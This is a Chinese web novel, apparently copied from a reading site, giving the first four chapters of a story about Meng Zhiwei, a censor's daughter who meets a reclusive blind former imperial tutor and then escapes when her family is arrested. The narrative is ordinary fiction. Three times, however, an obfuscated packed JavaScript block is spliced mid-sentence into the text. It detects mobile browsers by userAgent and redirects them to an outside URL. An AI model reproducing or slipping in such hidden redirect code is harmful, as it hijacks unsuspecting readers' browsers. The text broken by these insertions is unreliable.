《我那缠绵病榻的少师大人》 1. 菩萨蛮 都怪这场雪。 孟知微望着费尽力气堆好的雪人,手里捏了一团,有气无力地丢过去,雪团儿打中了雪人歪扭的身体,被戳出个窟窿洞来。 京都的上元节灯会好不容易重新开了起来,可又因为过春后的一场雪被市令取消了,她翘首以盼的灯会没了就没了,她嚷着出来散心,谁知兄长却把她带到这荒远孤僻的解孤山来。 上山路上,孟知微别别扭扭地说了一路。 “到底是什么名家大师,值得兄长冒雪上山。 ” “温先生年里因病避世,讲学大会延到年后才开,不管是庙堂还是江湖,仰慕他才学的人如过江之鲫,若是有谁能得到他的指点和推荐,一路青云直上也是尤可见得。” 孟知微瞪大了眼睛看向兄长孟逸:“兄长,你不是向来都和爹爹一样对这些所谓的平步青云之法嗤之以鼻的嘛,如今怎么也开始研究起这些‘歪门邪道’来了?” 兄长孟逸不怒反笑:“爹爹是都察院左都御史,自然可以刚正不阿,但他一心扑在南海之事上,阿姊已经出嫁,我是家中长子,自然要为家中考虑。” 孟知微依旧一脸迷茫:“考虑何事?” 两人当时坐在马车里,冷风灌进来,面前不过十四岁的女子面容娇俏,身上珠环虽少,却也可见得出身名门。 风吹得她发丝萦绕,孟逸替妹妹捋过额间垂落的发:“孟家几代虽不曾树敌,但也鲜少与人结交,如今朝堂局势复杂,南海之事争议许多……” 孟知微抢了话去:“我知道了,兄长怕爹爹在朝堂上孤立无援,兄长不必担心,爹爹是谁,两朝元老,老皇帝亲封的谏使大臣。你如今又已是校书郎,阿姊是国公府世子妃。还有母亲,那可是开国将军的独女,偌大的京都,谁还能不把我们放在眼里。” 孟逸无奈摇摇头:“瞧你这样子,是,都有响当当的名号,那我想问,你又是谁?” 孟知微掰掰手指:“我嘛,知书达理,娴静淑德的孟府三小姐。” 孟逸噗嗤一声笑出声来,他博览群书,崇尚周礼,难得有身体起伏这么大的时候,他边笑边摇头:“我怎么不知我还有个如此秀外慧中的妹妹。” “啊呀兄长,你能不能别带我上山,这解孤山有什么好玩的,不如放我回去吧。” 孟逸:“放你回去,你又要与那帮不知来处的人一起去玩炮竹?阿堇,你是女子,为兄不求你闺名远扬,但你也该多与京都的名门闺秀来往才是啊。” 孟知微:“那些名门闺秀,走路都是翩翩小步,弱柳扶风,我有等她们的时间,我早就蹿上屋顶一溜而去了,玩不到一块的。兄长,你怎么也和爹爹一样啊,我已经很久没有出去玩了,反正你去听学,我闲得无聊,不然我就别上山了,我在山下等你?” 孟逸:“你伪装成小厮,与我一同去听课。” 孟知微摇头:“我不,你知道的,我不爱读书。我一听先生讲学就犯困。” 孟逸这下恼了:“你既不修女子所要,又不肯与我去读书,那你要做什么?” 孟知微倒是坦坦荡荡地迎战:“我想做画师。游历江湖给山川美景作画!” 孟逸:“胡闹!再要这般等雪化了送你去书堂上课去。” 这招威胁是好用的。她好不容易说服爹爹不去私塾学堂。 孟知微:“好嘛,我不下山不就行了。” “你就在这解孤山后山等我,哪也不去,就等我听学回来,。” 孟逸留下这一句话话,带着小厮去了讲学大会。 这解孤山真是又远又冷,兄长口中的那位温先生,听说从前是天子少师,天子继位后就躲到这深山野林来,兄长说他是孤高避世。 既然避世又弄什么讲学大会呢,惹得人心浮动的各有所求的。 她想到这儿坐在回廊上掸手,念念有词:“莫不是个老妖怪。” 话音刚落,院落墙角掉下来一树的雪,孟知微吓了一跳,抬头看去原来是墙外伸进来的梅花,被雪压弯了枝头负重不过掉落了下来。 她望着那矮墙,顿时有个新的想法,她用那偷鸡摸狗的三脚猫功夫轻巧地就上了房顶。 从房顶这一看,不得了,院内萧瑟一片,院外却满园红梅,很是漂亮。 梅园里树下来往的小仆还搭了两个雅座,雪中小炉里热着酒,梅花里混着甜腻的花蜜酒香,勾得人三魂都没了两魄。 那小厮被叫走后迟迟未回,孟知微吞了吞口水,忍了再忍,可这红梅白雪,碧天空净,她又是个野惯了的,于是心下一横,想着要是被发现就说以为是宴请山中宾客的,反正算起来,她也总该是那位先生的宾客吧,就说美酒贪杯,走错了门就是了! 她这样想着,就再也没有负担了。 身影轻巧跃下,徒留一树梅花落。 —— 孟知微没吃过这样的酒。 这酒入口是柔和无比的,虽然带着梅子的酸,但内里的涩已被酒香代替,催生出甜意。 这样的美好的外表假想让人放下戒备,她多饮几口,身体变热后更是在冬日里添了几分自在。 酒壮人胆,哪怕后来屋里主人出来的时候,她也憨憨直说一句:“我走错了,我走错了。” 石凳上坐了个身形风雅的郎君,面容秀丽,通身不俗,只不过大冬天里他也只穿一件单衫,手上还握着一把青阳折扇,虽是水磨玉骨,可也让人瞧着觉得生冷。 只不过他脾性倒是温和,他笑的不像俗世男子那般拘束,只说“无妨”,正愁好酒无人共享。 既然主人家不嫌,孟知微也就没有推脱。 两人树下把酒言欢,孟知微最后一头倒在了雪地里。 她迷糊间也听到了很多动静,先是小厮婢女四仰八叉地把她抬进暖房里,再是外头人来人往的脚步声低声碎语的,后来甚至出现了兄长的声音。 她迷糊中看到兄长给那位与她一起喝酒的郎君作揖,只说小妹荒唐,多有冒犯。她想起来摆摆手说她也没有麻烦,他们相谈甚欢,但浑身没有力气又动弹不得。 “令妹无妨,只是吃醉了酒,孟大人的事要紧,若是不嫌,令妹倒是可以在我这偏房小住几日。” 小住?他的酒是好喝的,但兄长要走,她岂能不走? 孟知微的“魂”试图要挣扎着站起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035995|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但这也只是她的神思而已,兄长过来,隔着那轻纱帷帐,眉头倒是比平日里要蹙,只是连连摇头,唤她的小名:“阿堇。” 兄长在去年春闱拔得头筹,如今已是朝廷上任命的校书郎了,从来都是爹爹引以为傲的孟家后人,平日里学着爹爹那般不苟言笑,年少老成,但如今看上去又欲言又止。 话到嘴边最后却什么都没说,只是转头还对那个拿扇男子作揖,只说小妹辛苦照顾。 再之后,就是对开的窗门传来毁天灭地的风雪声,好像只是一晚,红梅凋谢毫无残存,而单薄伶仃的少年,就往着这一路风雪,明知烛火将灭,却也茕茕而行。 不知是谁在屋子里长长地叹了口气,这口气叹得孟知微也喘不过气来。 屋子门像是再度被合了起来,只是外头风雪凄厉,她躺在那儿,深思涣散,担心兄长一人下山雪夜难行。 不知道过了多久,她又听到外面的传来说话的声音,似乎是两人一前一后地过来。 门被打开。 说话的是那个执扇郎君:“我都说了没事,吃醉酒醒了就好了,你这又是干什么?” 那个人没理他,桌面上“咔哒”一声,是药箱落下的声音。 脚步来到她的帷幔外面,被掀开的一角跳跃进来灯火,眼皮下刹那的白光让她看不清楚。 只是原先滚烫的额头若有若无地贴上一种冰凉,那种若不可查的梅香缓缓地潜进来,再是似有一层薄纱落在她的手腕,然后,那原先的冰凉从她的额头转移到她的手腕。 隔着薄纱,那个人在触碰她年轻的脉搏。 “烧成这样,这便是你说的没事。” 这道声音是陌生的,虽应该是关心的口吻,却也是没有任何语气的,这让她想到她倒地时碰到的梅间雪,就是这般冷冽的。 “烈是烈了些,可也不能怪我,这姑娘一上来就拿瓶倒,我以为她酒量很好,谁知怎醉成这样?” “她才几岁?” “酒量和年岁有什么关系?再说了,她可说是你府上的宾客,如今睡在我的偏房,还占了我一个位置,我这还没找你算呢。” 孟知微手肘往下忽然一酸,她明白过来面前这位医师大约是施针了。 “两朝旧臣,先皇亲封的直谏大臣。堂堂左都御史…….孟家世代清流,唉,可惜啊可惜。”说话的是那个执扇郎君。 他在说爹爹吗? 什么可惜?是孟家世代文骨清流,出了她这一个混世魔王可惜吗? “我以为你会不管的,不过你今日是怎么回事,我也是开了眼见到瞎子扎针了,我说,温淮川,莫不是这波风云,你要管了?” 银针收回。 孟知微感觉自己的穴位上有一股气息在往外出。 坐在面前的人缓声说到:“她因跑进你的梅园而踩坏我五块青瓦,我如何不管。” “原是来要钱来了。”执扇男子多有不满,“五块青瓦,你莫不是就站在墙角数着吧?我们的情谊难道还比不过这五块青瓦嘛!” 医箱合上,依旧是那淡薄到不带有任何情绪的声音。 “比不上。” 2. 菩萨蛮 “温淮川,你好无情无意,你之前利用我的时候你可不是这么说的,再说了这笔账怎么能算在我的头上!” 冰雪郎君像是不服气,追着脚步声已经远了的人说道,“是她自个掉进我的梅园里来的,你怎么能怪到我身上。” 远去的人只是轻巧置词:“十里八乡的酒鬼都被你勾过来。” “匹夫无罪怀璧其罪!” 两人的声音已经在耳边远去,比起那位要嫌弃她占地方的不怕冷郎君,刚刚那位给她看病的人似乎更小气些,她不过是落地的时候捎带损了两张瓦片,他倒是追着要债到这里。 不过比起刚刚的浑身无力心绪难安,孟知微如今却感觉好了许多,外头的风雪从原先的携风撞门而来变成温柔地落下,融到天地一片的白色里,没有再试图吵醒任何人了。 早晨醒来的时候,孟知微的贴身丫鬟九儿才匆匆过来,她昨日下山给孟知微去买糖饼,谁知风雪一大就耽误了脚程,回来又听说自家主子吃醉了酒,顾不上回去补觉,天不亮就在外头等了。 盥洗盆底下的水光里倒映出一张姣好的脸,虽肤如凝脂,但五官还带着少女的稚气,显得圆钝,不过那微蹙的杏眼偏狭长,颇有长开之势。 只是她神采恹恹,大约还是酒后乏力。 “我的姑娘啊,您这是要了奴的命,要是让老爷知道,你不仅与外男同饮,竟还留宿他榻!老爷不把我打死也会把我毒哑!” 孟知微揉着自己的脑袋:“我不过就是吃醉了酒,况且人家以礼相待,专为我收拾出屋子,我哥哥也都知晓,怎地被你说起来如此严重。” 九儿:“逸公子再怎么样成熟知礼也是男子,对姑娘的事哪能都事事清楚的,这梅园主人是男子,传出去有损姑娘清誉,往后婚嫁上可要受人指摘的。” 孟知微却是一脸无所谓:“我不早就定下婚事了。” 九儿见状做掩声:“姑娘怎的浑说,您和小侯爷的事虽是两家交好承诺,但到底还没有过过婚书,下过聘礼的,再说了,老爷夫人哪舍得你,最早也是要留你到及笄的。” 主仆话说到一半,外头就有人敲门,说是可以用早膳了。 孟知微这才从屋子里出来。梅园的景象才真的落于眼中,梅上落雪,雪里落梅,一眼望去,还以为是闯进神仙府邸。 小厮走过来与她相告,说他们公子出去云游去了,府上梅园需要人照看,让她多住几日。 “倒是个愿意麻烦人的人。”九儿见小厮走后埋怨道。 孟知微:“你不说与男子同住有损清誉嘛,如今人避嫌云游,也还遭你埋怨,人家这是既不想让我住着不好意思,又不想与我不方便。” 九儿若有所思地点头,回头又看了孟知微一眼:“姑娘也不是愚钝之人,怎的心思总是不在正道上。” 孟知微:“何为正道,我学那么多,最后还不是要嫁人去。” 九儿:“嫁人自然是女子归宿,更何况,姑娘与小侯爷青梅竹马,郎才女貌,小侯爷每回从边疆回来,哪次不给姑娘带好吃的好玩的,你不心悦?” 孟知微轻推了一把九儿,笑骂她:“如今学会拿我开涮了是吧。” 主仆笑作一团。 —— 梅园一墙之隔则是坐落在这座山上唯二的建筑。 山间落雪,竹林小院里几乎所有的植物都被覆盖,但屋子周围五步一隔点着蜡烛,莹莹火光驱散着孤院的清冷。 屋里生了足够多的炭火,暖意洋洋的。 屋子中央卧着一把古琴,难见的紫檀木做面板。居中坐在那儿的人穿了一身的冷白色宽袍长衫,腰间简单配白玉,袖袍下缓缓伸出一只手,动作轻缓地调着琴音。 他轻纱缠目已然奇怪,更让人侧目的是他长发如银川,皆为白色。 另一人则穿了一件青袍,半卧在榻上,手里握了一盏茶,面前还煮了一壶茶,百无聊赖,他斜斜地睥睨了身边的人一眼:“我说,温确,我到底何时才能云游结束啊?” 面子的男人没动作,侧低着头:“快了。” “你日日都说快了,我挤在你这破屋子里都要发霉了,我才刚买的金玉软香枕都还未曾睡,还有那凝神安眠香我也才焚了一点点,更别提我心头爱的那张檀木温书桌,若是再煮一壶青梅酒……好不快活,偏偏要到你这什么都没有的屋子里来住。温淮川,我竟不知,你竟禁欲此般!” 原先一直抱刀而坐的少年这会不服道:“先生乃是志存高远,心性高洁,才不为俗物所扰。” 原先抚琴的人停下动作,轻声斥责:“追风。” 那抱刀少年缩回脑袋,不说了。 继而那男子又继续抚琴:“唐子玉,你若是嫌弃这儿粗鄙,外头雪地到还有些地方可以安眠。” 唐子玉抬高声音:“我不过是问你讨要一床鹅绒软被,不给就算了,还赶我去外头睡?堂堂少师怎的混成如此个身无长物的样子,都说远亲不如近邻,我到底是为何才来这儿的?” “官宦世家礼数多,你避嫌也是应当的。” 唐子玉不悦:“但这些天的吃穿用行,你可不能算在我头上。” “一个姑娘家,能费你多少口粮。” 说起这事,唐子玉从软榻上起来,找了个菖蒲垫子就过来坐在火盆边上,义愤填膺:“你没成过亲你不知道美娇娘有多难养,就这些天,她婢女差人来要了不下五回东西了,精细米粮顿顿都有,上好的银炭从早供到晚,府上的鹅绒软被全送她屋里去,一句想吃京都刘记的红豆糕,跑死我一匹马……” 话音未落,在外面看着的观展进来,他面色有些难堪。 直到抚琴的男人问他何事,他才有些支支吾吾地说:“梅园那儿传来消息说,孟小姐的青黛用完了,婢女问山间还有没有了。” 唐子玉一晒:“你看你看,又来了吧,你信不信后面还有,今儿是青黛明儿就是胭脂,大雪天的躲在屋子里不就成了,非得上妆?” 面前的人却没有多说,只是吩咐道:“去库房把那对螺子黛拿过去给她吧。” 唐子玉瞪大眼睛,只听见面前的人还加了一句:“那些女子用的东西,都一并拿给她吧。” 追风不平道:“那是陛下赏的。” “我无妻无妾,这些东西放在我这里,也无用,她既然要用,那就给她吧。” 轻纱缠眼的人只是这样简单地交代了一句。 观展应声“是”,就去办事了。 唐子玉冷哼一声:“与我就是铁公鸡,于别人,未来妻子的聘礼都交代出去了。” “她兄长临走前拜托于我,我既然答了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035996|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然应当照顾的。。” 唐子玉:“罢了罢了,看在也就这些时日的份上,我也就不计较,如今这山下局势,还指不定明日到底如何呢。如今朝堂相争到如此恶劣的地步,除了你之外,谁又能摘出来呢。说起这位孟大人,也够传奇的,就从他给自己女儿取名上,就可见一斑,孟堇,堇字本是一种入药的花,作为一个女子的名字,莫不过就是寄托一些对女子秀外慧中的希望。但这表字更有意思。知微,看似自带了几分谦卑之意,但谁都知道,知微见著,这名字却不像是闺阁女子的名,倒是有些宏远抱负。只不过…..” “我听说这孟三小姐横行闺中,让京都儿郎闻风丧胆,怕是要辜负孟大人美意了。但话说回来,这知微二字看表面依旧是谦卑之意,怕不是这位孟大人,早就知道自己历经两朝,迟早要临灭顶之灾?倒是这孟家公子和小姐近日这么巧就在这与世隔绝的解孤山……” 窗外吹来一阵风,抚琴的人停下来,风把他系好垂落的轻纱吹起。 追风放下手里的刀,起身去关窗,而后说到:“我们先生只是答应了那位孟公子照看他小妹一二,唐阁主说的这些,与解孤山无关,与我们先生更无关。” 唐子玉不耐:“知道你们家先生不管朝中之事,我也不管,不过就是当个画本子一看。” 话音未落,原先在外面的观展又进来了。 唐子玉打开折扇,把自己留着的两根须发扇得飞起:“怎么着,可还是要些什么?” 观展端着手,身体向下作揖,神色紧张了几分,从怀里拿出一封信笺,落雪而化的水渍把信封上的“阿堇亲启”,泅出圈圈毛边来。 “先生,孟公子来信了。” 冬日里的扇子扇到一半停住,长久的一阵沉默后,连唐子玉的神色都正经了几分。 “到底还是来了。”他收起折扇,正准备去从观展的手中拿过信笺,却不料被追风抢先拿走,他对着唐子玉哼一声。 唐子玉“啧”一声,没抢过他,信笺就落在抚琴的人手边。 “先生。” 蒙眼的人指尖捻过,却未拆封,只是压在琴下。 “今日夜深雪大,下山的路也封了,明日一早,你让人再告知孟三小姐。” 观展:“诺。” 观展走后,唐子玉啧啧摇头,手上折扇摇得飞起:“你当真要把这信给她?” “左不过是她兄长要她快些回家,又有何给不得。” 唐子玉:“怕是这一份信,要断送了她孟家小姐锦衣玉食的一生了,可怜这孟家小姐豆蔻年华,前些日子与我喝酒的时候还说毕生夙愿就是要看遍山水,闯荡江湖,自此一回,不知是要背负奴籍草草一生,还是要枯对宫墙老死掖庭了。你既然好吃好喝地与她待着,连皇帝赏的好东西都能给她,那你抬手救她一救,又有何妨?” 追风:“那是因为她住在解孤山,解孤山上来的就是客,先生岂有怠慢之理,但下了山,管她是死是活,是奴是娼,和我们先生又有什么关系!” “追风。” 抚琴的人这才缓缓起身。 面前轻纱挡住光,却不妨碍他听声辨位行动自如。 他负手而立,站在窗前。 雪夜冷月下,他只是缓缓开口: “莫要嗟叹他人命运。” 3. 菩萨蛮 孟知微这些时日在山上并不无聊。 九儿虽然比她大几岁,但到底也是丫鬟,看她不住,管她不得。 孟知微很快就连梅园里有多少个狗洞都知道了,还了解到这位梅园的主人姓唐,他底下的小厮都叫他阁主,孟知微不知道他何种来历,但似乎是江湖中人,而且他走之前还真的让人给她安排了每日梅园里的树木修剪、院落打扫等杂事。 孟知微虽然出身世家大族,锦衣玉食长起来的,但也不是手不能提,肩不能扛。这几日,她来来回回看到自己修剪的红梅“造型独特”的,也觉得住起来也安心。 毕竟她不知兄长何时来接她,也不能总是白住在这儿。 况且这位唐阁主人是真好,有求必应。她随行带来的东西本就不多,昨日见到青黛用完,她眉发略淡,在别人家中素着张脸不大得体,本是要让九儿下山去买的,九儿问了屋里女婢一句后,当天晚上他们就送过来了,且还是螺子黛。她的嫡母王氏在得诰命的时候太后娘娘也就亲赏过一罐。 因此为表感恩,孟知微一大早就起来修剪梅枝。 她才修剪好,拱形门后就出来一个身影,青白衫单薄,手中折扇翩然,孟知微微微叩身:“唐阁主您回来了。” 唐子玉原本良好的心情在看到眼前的梅枝的时候,惊慌地连扇子都不想要了,他趔趄两步,作呼喊状:“我的梅花!” 院中那株他修剪好的梅此刻像是被狗啃了两边的醪糟渣滓。 唐子玉抱着梅花树扼腕:“京中闺阁再也找不出有你这般良才的了!” 孟知微一时之间竟真的听不出好赖话来,她已用尽毕生所学了:“抱……抱歉,是我修剪的不好吗?” 唐子玉把所有高兴的事情都想了一遍,他咬牙从自己嘴里吐出两个字:“很好。” 但是他又重新给了建议:“往后孟小姐要找营生,离花木类的远一点。” 孟知微:“若是不好,我回府中禀报爹爹后定与您相还的。” “罢了。”唐子玉摇摇头,随后他又想起正事,于是唤:“观展。” 跟在他身后的那个高大的长着络腮胡看上去有点凶蛮的男人这才把手里的东西递上来。 唐子玉:“孟三小姐,你兄长来信了。” “兄长?”孟知微连忙作揖接过,拆开信笺。 本来舒展的眉头在看到信笺内容的一瞬间顿时蹙在一起,而后匆匆回头,袖纱被梅枝剐到,扯下小片来也顾不上。 唐子玉眼见奔走出去的人又停下来,转过着急到绯红的脸又与他告别。他挥了挥衣袖,摇了摇头,揣起扇子往前走,看到那株梅花后,又摇了摇头。 —— 孟知微与九儿匆匆下山,山下未有驱车的马夫,孟知微踏垫子上马车之际,忽听到有人叫她。 她探出头来,见过来的是那个高大的异族人,他手边牵了两匹马。 孟知微眉眼虽蹙,但还是稍稍俯身。 “孟三小姐。”观展作揖,“我家先生知道小姐归家心切,特地让我带了这两匹雪里骢,日行千里,应当是对孟小姐有所帮助。” 眼前的白马四肢修长,通身雪白毛色油亮,是难得的好马。 事急从权,孟知微也就不推辞了,她只以为是唐子玉送来的:“如此,就多谢了。日后知微必定登门归还。” “无妨,因我家先生不日就要云游,所以还劳烦三小姐到家后,卸了他们的栓绳,他们自己倒也识得归途。” “如此,那就依照大人所言。” 马车车套换上,路上冰雪难行,快马却依旧踏出一条清晰的路线。 马车里四下无声,九儿见孟知微一眼不发,宽慰到:“三姑娘,莫要太着急,公子能寄出信来说明家中应当一切安好。” 孟知微手里攥着那信封,眉头久久无法舒展:“兄长在信中没有细说,只说若是归家看到大门灯笼降下,让我万万不可进家门。” 字迹上有晕染,明显就是还未来得及干了纸面就已经送入信笺了。 可兄长明明不是急躁之人。 她掀开车幔对车夫再度嘱咐:“再快些。” —— 孟家坐落在京中南门四井巷的牌坊长街上,两朝帝王更换,京中的热闹早就迁到中安大街那块新地了,原先的牌坊长街上店面不多,因入冬严寒,更是早早就关了门。 孟知微的马车进了官道入了街巷缓下动静来。大雪积压堵住前路,孟知微眼见马车进不去了,解了车马套。 不用她多言,那马儿像是懂人的心思一样,俯颈抖落了毛发上沾染的雪水,长嘶一声,而后就顺着车辙印子消失在长街之外了。 孟知微只带了九儿往家中赶,元宵才过原先张灯结彩的街道被大雪覆盖,偶有残损的彩幔才能勉强证明不日前的欢庆。 过了窄门就是孟府,孟知微遥遥地望见府邸门口原先挂着红灯笼的位置此刻却空空如也。 巷口的冷风往衣襟里钻。 而且门口里里外外站了不少人,全是生人面孔,孟府原先的府兵却一个都没有见到。 九儿:“怎么会这样?” “翻后院进去。”孟知微当下就做了决定。 “可公子嘱咐说要是看见灯笼落下,三小姐你是万万不能去啊。”九儿拉住她。 孟知微:“府门紧闭外面又有重兵把守,我既已到家门,又怎有不进之理。” 九儿拉她不住,只能跟着她往后院门去。 后院有一矮墙是她被爹爹禁足之时她常常跑出去的,因为杂草丛生所以一般人不知道。 孟知微在那儿垫了高石,没费多少劲就进去了。 两人落下后院,马上就有一小队人听到动静。 “谁人在哪儿?” 刚好有一只野猫过去,两人往草丛一躲,顺着墙角往东厢房去。 可谁知院落里无一人。 孟知微又穿过连廊往嫡母王氏的院落里去,可伺候的丫鬟婆子均不在,孟知微又匆匆往书房过去,脚下越走越慌。 她唯见会客中厅灯火尤为通明,于是带着九儿往那儿过去,她带着戒心在门外窥探,戳破纸窗后看到爹爹和屋内的人都坐在里面,推开门去。 “爹爹!” 孟政身形偏瘦,已是知命之年,神态虽有憔悴,但脊背笔直,脸上无畏的表情在看到孟知微推门进来的一瞬间有些没收住。 “堇儿,你……你兄长不是与你说,灯笼落,莫念家吗。” “爹爹在家,女儿怎可不回。”她回头看了一圈,嫡母王氏,妾室孙氏,房中奴仆、丫鬟大大小小地站了一屋子。 “兄长呢?”她着急地在人群中寻找熟悉的人影。 提到兄长,嫡母王氏神色泫然:“你兄长因为给你父亲求情,已经被当今圣上打入大牢。” 什么! 兄长最爱干净,暗无天日的无边牢狱怎可待得。 孟知微:“爹爹犯了什么错,为何府上皆是重兵,家中境况为何会如此?” 孟政未言,身边跟随他上朝伺候笔墨颇通政事的侍从说道:“因国库亏空,家主上奏打开关口,重开海上贸易,却被按上不臣之心,几位大臣联合弹劾,说我们老爷开关口欲生当年南海之乱。” 孟知微:“爹爹乃两朝老臣,若有不臣之心还会等到现在!就是当今圣上昏聩无用,既不能攘外更不能安内,苛责法纪,徭役税赋,更使臣民寒心!” “阿堇。”孟政制止她,抬手作揖,“莫要妄议圣上。” “爹爹受了这么大的冤屈,忍着干什么,若我说,不如把这乱臣贼子坐实了,我寻得小门,全家潜逃!” 本该如意料之中的骂她毫无法度的怒意却没有来到,孟政只是平和地看着孟堇。 孟知微触及到孟政的目光的时候,原先的愤怒和激昂突然就消失了,她盈盈的眸子里顿时水光一片,她哑声:“父亲。” “傻孩子,孟家一旦背上了谋反的罪名,你兄长怎么办,你腹中有子的阿姊又怎么办。两朝更替,王权犹疑,铲除异己的党争手段我又何尝不知,但我孟政在官言官,对江山社稷未有半点愧心,武臣死于战,言官死于谏。” 孟政面朝着外面开间落下的大雪,缓缓说到:“我早知就会有这么一天,只是拖累妻儿,终是我不愿。” 讲到这儿,在那儿掩面的王氏上前一步,她不过才擦完眼角的泪水,却又整理了一番衣着:“老爷傲然尚且不怕君臣疑心,妇人虽弱却也有风骨。我王家本就将门之后,府兵均为死士,如今只为向君心力证我孟家满门忠骨。君落刀,尔等缴械不准抗。全府在册奴仆丫鬟三十二名,府兵四十一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035997|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,你们可有人有怨?” 齐刷刷跪满满屋子的人高声回答:“奴愿与家主夫人同在!” 看到这里的孟知微匆忙跪下:“女儿也与父母同在!” 孟政却一把扶她起来,又从自己的袖子里拿出一串难得一见的月白玉色菩提佛珠,径直戴在她手上:“阿堇,这是父亲最珍视的东西,或许有一天,它会帮助你,你拿好,切记要好好保管。今日,孟家上下全当你没有回来过。” 孟知微无心去看已经在自己手上的那串白玉菩提,她只是不停追问孟政:“爹爹这是什么意思?” 孟政:“你阿姊已是世子妃,夫家自能护她,兄长是儿郎吃些苦头不算什么,但你未及笄仍是孟家女,孟家获罪你就是罪臣之女!若是大好年华因此断送,我宁可你逃出去,你快走!” 孟知微眼泪止不住地落:“可是父亲,您说过,孟家无罪,君心自然能明鉴,我又怎么能逃!” 说到这儿,外面匆忙传来兵胄冷硬的碰撞和匆忙的脚步声。 再是有人高喝:“包围孟府,一只苍蝇都不能放出去!” 王氏立刻攥起孟知微的手肘,把她往外拖:“往日你就不服管教,今日家门遭此大难你依旧是不听劝告吗?” 孟知微死死往后拖,摇头哀求:“母亲,母亲,让我与你们同在,与孟家同在。” 王氏根本不听,依旧用恶语相向:“你同在又有何用,你阿姊能在族亲面前说话,你兄长虽获罪但在朝中依旧有同窗师长相保,你素来不与京中女眷交好,既不通诗书也不会女工,再者,你又问问你自己是何所出?你生母又是谁,你父亲从来偏爱你,我视如己出养了你这么些年还总担上个不会管教的罪名我又何辜?” 话语像一把把刀子,但孟知微知道,如今心里的疼痛却不是因为王氏的埋怨。 无力、迷茫、不舍,家族覆灭下她如丧家之犬又如何去苟活! 她被拖到大门外,王氏迅速将门反锁住,又在关门之际往她怀里递过来什么东西。 “母亲,母亲,您不要赶我走,我是孟家女儿,我除了这里,我又能去哪里,我又能去哪里啊!” 王氏背对着门,眼角泪如雨下,但依旧语气强硬:“你从前不是傲的很吗,你总说你不甘于被困闺中,要云游江湖,走遍五湖四海,如今你倒是去啊。” 孟知微不断地敲着门,可门的后面原先的人影已经走了,远处抓捕的大部队要过来了,孟知微四下茫然,看到自己怀里放着的是一把精巧的匕首,这是王氏的家传之物,是她出嫁那年王老将军送给她的,本是枪头,却也可伸缩为短柄匕首防身,揣在怀中也无人知晓,是极其巧妙的兵器。 她擦了一把眼泪,翻身上了矮墙。 但她没有立刻走。 等到那些士兵进了门,院落就顿时乱成一锅粥。 府兵早已缴械投降,可代表皇威而来的人怎么可能不杀鸡儆猴呢! 胆小的女仆见血逃窜,不知是谁打翻了院中长廊的煤油灯,廊下的轻纱顿时着起,迅速蔓延到了院中那架孟政为孟知微造的秋千上。 孟知微趴在墙头,看到慌乱中过去的熟悉的人,她伸出手呼喊:“九儿!九儿!” 隔着人海,左不过十七的九儿面容坚毅,却也在这种混乱中看到了孟知微。 孟知微连忙把手伸过去,她想拉九儿出来。 如果真的她只能逃的话。 她希望带上九儿。 至少从小到大的情谊在,颠沛流离的时候他们还能相依为伴。她也能有人一起商讨。 院子一角的火光越来越大! “九儿!快啊!” 可走到墙角的人只是猛然推了孟知微一把。 而后四周顿时都无声了,她所有的感官都失去了感知能力,孟知微掉落在孟府一墙之隔的草丛外。 她脑中浮现的是从前读书先生教的那一句“月晕而风,础润而雨。” 她从来都以为那只是一句天象词。 如果她多用功一些,是不是更能参透的多一些。 里头的喧闹, 孟府的命运。 都是她再也无法握在手里的东西了。 十几年的快乐日子。 这一朝,如同院落的那架秋千架一般。 化成灰了。 4. 菩萨蛮 一夜之间,朝廷抓捕孟家入狱的事情传遍了整个京城。 据说禁军连夜抄家,从孟府拿了不少的书籍信件出来,禁军首领见到那些书信后表情如临大敌地将孟家所有人都带走了。 这前前朝御赐的孟府大宅,像是强撑了许久的老人,自禁军走后,飞角屋檐上的瓦片不堪大雪负重而坍塌一片。 这些日子,禁军加强了长街处的巡逻,张贴告示处贴了一个年轻女子的画像,似是在抓捕什么朝廷要犯。 孟知微这些日子不敢露面,她把自己当时身上的那套衣服换成了银两,和普通农户一般只穿了一身素衣。然后找了两把泥,混着水渠的脏水往自己脸上抹了抹,混迹在城外的乞丐队伍里。 雪还在下。 她出来的时候身上本就没有带多少盘缠,如今更是无所傍身,只能节衣缩食,走一步看一步。 以天为被地为床的日子是难以想象的,她不敢与别人接触太多,只是自己一个人躲在郊外的破庙里,夜里的露水爬到身上来,让身体慢慢发出难以忍受的味道。 她有时偶尔从路面的脏水塘里看到自己,觉得那陌生的模样连自己都不认识。 